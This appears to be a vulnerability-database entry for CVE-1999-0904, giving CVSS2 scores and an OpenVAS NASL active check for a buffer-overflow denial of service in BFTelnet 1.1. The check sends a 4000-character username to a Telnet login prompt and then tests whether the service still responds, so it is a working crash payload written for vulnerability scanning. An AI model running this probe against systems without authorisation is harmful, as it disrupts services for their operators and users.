CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
AI Score
Confidence
High
EPSS
Percentile
85.4%
BFTelnet is prone to a denial of service (DoS) vulnerability.
# SPDX-FileCopyrightText: 2021 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.146617");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2021-09-02 12:08:47 +0000 (Thu, 02 Sep 2021)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_cve_id("CVE-1999-0904");
script_tag(name:"qod_type", value:"remote_probe");
script_tag(name:"solution_type", value:"VendorFix");
script_name("BFTelnet <= 1.1 DoS Vulnerability - Active Check");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2021 Greenbone AG");
script_family("Denial of Service");
# nb: Don't add a script_mandatory_keys(), this should run against every Telnet service as
# requested by a customer.
script_dependencies("telnetserver_detect_type_nd_version.nasl");
script_require_ports("Services/telnet", 23);
script_tag(name:"summary", value:"BFTelnet is prone to a denial of service (DoS) vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted LOGIN sequence and checks if the service is
still alive.");
script_tag(name:"insight", value:"A buffer overflow in BFTelnet allows remote attackers to cause
a DoS via a long username.");
script_tag(name:"affected", value:"BFTelnet version 1.1 and probably. Other products might be
affected as well.");
script_tag(name:"solution", value:"Update to the latest available version.");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/771");
exit(0);
}
include("port_service_func.inc");
include("telnet_func.inc");
port = telnet_get_port(default: 23);
soc = open_sock_tcp(port);
if (!soc)
exit(0);
banner = telnet_negotiate(socket: soc);
if (!banner || "Login:" >!< banner) {
close(soc);
exit(0);
}
send(socket: soc, data: crap(length: 4000) + '\r\n');
close(soc);
for (i = 0; i < 3; i++) {
soc = open_sock_tcp(port);
if (soc) {
close(soc);
exit(0);
}
}
security_message(port: port);
exit(0);